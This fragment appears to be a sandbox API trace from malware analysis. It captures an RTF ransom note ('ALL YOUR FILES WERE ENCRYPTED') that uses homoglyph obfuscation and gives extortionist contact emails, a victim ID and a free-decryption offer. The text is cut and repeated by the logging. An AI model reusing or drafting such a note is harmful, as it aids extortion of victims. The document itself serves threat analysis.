d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de0db8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f 